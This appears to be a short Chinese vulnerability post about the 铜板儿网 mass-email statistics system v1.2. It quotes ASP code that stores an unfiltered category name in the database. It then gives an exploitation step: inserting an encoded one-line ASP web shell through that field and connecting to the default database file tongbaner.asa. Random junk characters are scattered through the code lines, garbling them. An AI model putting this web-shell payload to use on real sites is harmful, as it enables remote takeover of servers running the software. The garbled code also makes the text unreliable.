铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
( ^: M6 `. y+ r, Q% S8 e
IF Request.QueryString("Action")="del" Then
) b1 e8 I4 |! c& [ID=Request.QueryString("ID")
1 D# b, d" V1 @/ y9 U2 f* KIF Countss ("tui","Fenlei",ID )<>0 then
'略
8 A2 Q" ~- ^8 H! M$ a- JIF Request.QueryString("Action")="Add" Then
7 s) e9 a! a+ p- e* g1 z+ dTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
' K) h5 ^0 p3 p3 e2 s, i- ]: qRs.Addnew
Rs("Typename")=Tname
- i7 X& q" H" x# Y0 {'略
* u: }& L' k  `# t: gSet Rs=Server.CreateObject("adodb.Recordset")
3 y3 Q3 D6 }) i+ @Sql="Select * From Fenlei Order by id Desc "
- q) W. M% O. j; J2 P6 wRs.Open Sql,Conn,1,1
'略
5 ~$ x+ v2 c9 B. o%>

+ _7 j  w% h" p, h
( v* x  C. C0 E6 c8 P. E. ^
没有过滤，直接写入数据库。
1 |6 ?4 y% Z, H( A% Z+ p1 u2 q
利用方法：
' z4 I% b1 G* Z# c1 O& W
* U5 b2 D6 _0 T8 a( _4 y5 Z插入：┼攠數畣整爠煥敵瑳∨≡┩>

3 y7 u. R: G7 b; n8 t; b
2 p* f& U+ U. Z7 H2 Q& d1 s连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
* w0 r* T1 Y4 O( p& I'install.asp